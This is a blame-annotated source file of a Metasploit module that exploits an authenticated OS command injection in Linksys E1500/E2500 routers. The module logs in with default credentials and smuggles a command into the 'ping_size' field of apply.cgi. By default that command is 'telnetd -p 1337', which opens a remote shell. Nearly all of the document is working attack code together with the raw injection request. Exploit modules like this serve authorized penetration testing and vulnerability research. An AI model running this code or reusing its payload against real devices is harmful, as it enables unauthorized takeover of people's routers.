2013-03-19 16:31:01 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2013-03-19 16:31:01 +00:00
|
|
|
##
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2013-03-19 16:31:01 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2013-03-19 16:31:01 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Linksys E1500/E2500 Remote Command Execution',
|
|
|
|
'Description' => %q{
|
|
|
|
Some Linksys Routers are vulnerable to an authenticated OS command injection.
|
|
|
|
Default credentials for the web interface are admin/admin or admin/password. Since
|
|
|
|
it is a blind os command injection vulnerability, there is no output for the
|
|
|
|
executed command. A ping command against a controlled system for can be used for
|
|
|
|
testing purposes.
|
|
|
|
},
|
|
|
|
'Author' => [ 'Michael Messner <devnull[at]s3cur1ty.de>' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'OSVDB', '89912' ],
|
|
|
|
[ 'BID', '57760' ],
|
|
|
|
[ 'EDB', '24475' ],
|
|
|
|
[ 'URL', 'http://www.s3cur1ty.de/m1adv2013-004' ]
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Feb 05 2013'))
|
2013-03-19 16:31:01 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
2016-05-27 23:31:54 +00:00
|
|
|
OptString.new('HttpUsername',[ true, 'User to login with', 'admin']),
|
|
|
|
OptString.new('HttpPassword',[ true, 'Password to login with', 'password']),
|
2013-08-30 21:28:54 +00:00
|
|
|
OptString.new('CMD', [ true, 'The command to execute', 'telnetd -p 1337'])
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2013-03-19 16:31:01 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run
|
|
|
|
uri = '/apply.cgi'
|
2016-05-27 23:31:54 +00:00
|
|
|
user = datastore['HttpUsername']
|
|
|
|
pass = datastore['HttpPassword']
|
2013-03-19 16:31:01 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
|
2013-03-19 16:31:01 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
begin
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => uri,
|
|
|
|
'method' => 'GET',
|
|
|
|
'authorization' => basic_auth(user,pass)
|
|
|
|
})
|
2013-03-19 16:31:01 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
return if res.nil?
|
|
|
|
return if (res.code == 404)
|
2013-03-19 16:31:01 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
if [200, 301, 302].include?(res.code)
|
|
|
|
print_good("#{rhost}:#{rport} - Successful login #{user}/#{pass}")
|
|
|
|
else
|
|
|
|
print_error("#{rhost}:#{rport} - No successful login possible with #{user}/#{pass}")
|
|
|
|
return
|
|
|
|
end
|
2013-03-19 16:31:01 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
rescue ::Rex::ConnectionError
|
|
|
|
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
|
|
|
|
return
|
|
|
|
end
|
2013-03-19 16:31:01 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("#{rhost}:#{rport} - Sending remote command: " + datastore['CMD'])
|
2013-03-19 16:31:01 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
cmd = datastore['CMD']
|
2015-04-03 11:12:23 +00:00
|
|
|
# original post request:
|
|
|
|
# data_cmd = "submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&
|
|
|
|
# action=&commit=0&ping_ip=1.1.1.1&ping_size=%26#{cmd}%26&ping_times=5&traceroute_ip="
|
2013-03-19 16:31:01 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
vprint_status("#{rhost}:#{rport} - using the following target URL: #{uri}")
|
|
|
|
begin
|
|
|
|
res = send_request_cgi({
|
|
|
|
'uri' => uri,
|
|
|
|
'method' => 'POST',
|
|
|
|
'authorization' => basic_auth(user,pass),
|
|
|
|
'vars_post' => {
|
|
|
|
"submit_button" => "Diagnostics",
|
|
|
|
"change_action" => "gozila_cgi",
|
|
|
|
"submit_type" => "start_ping",
|
|
|
|
"action" => "",
|
|
|
|
"commit" => "0",
|
|
|
|
"ping_ip" => "1.1.1.1",
|
|
|
|
"ping_size" => "&#{cmd}&",
|
|
|
|
"ping_times" => "5",
|
|
|
|
"traceroute_ip" => ""
|
|
|
|
}
|
|
|
|
})
|
|
|
|
rescue ::Rex::ConnectionError
|
|
|
|
vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
|
|
|
|
return
|
|
|
|
end
|
|
|
|
print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state")
|
|
|
|
print_status("#{rhost}:#{rport} - Blind Exploitation - wait around 10 seconds till the command gets executed")
|
|
|
|
end
|
2013-03-19 16:31:01 +00:00
|
|
|
end
|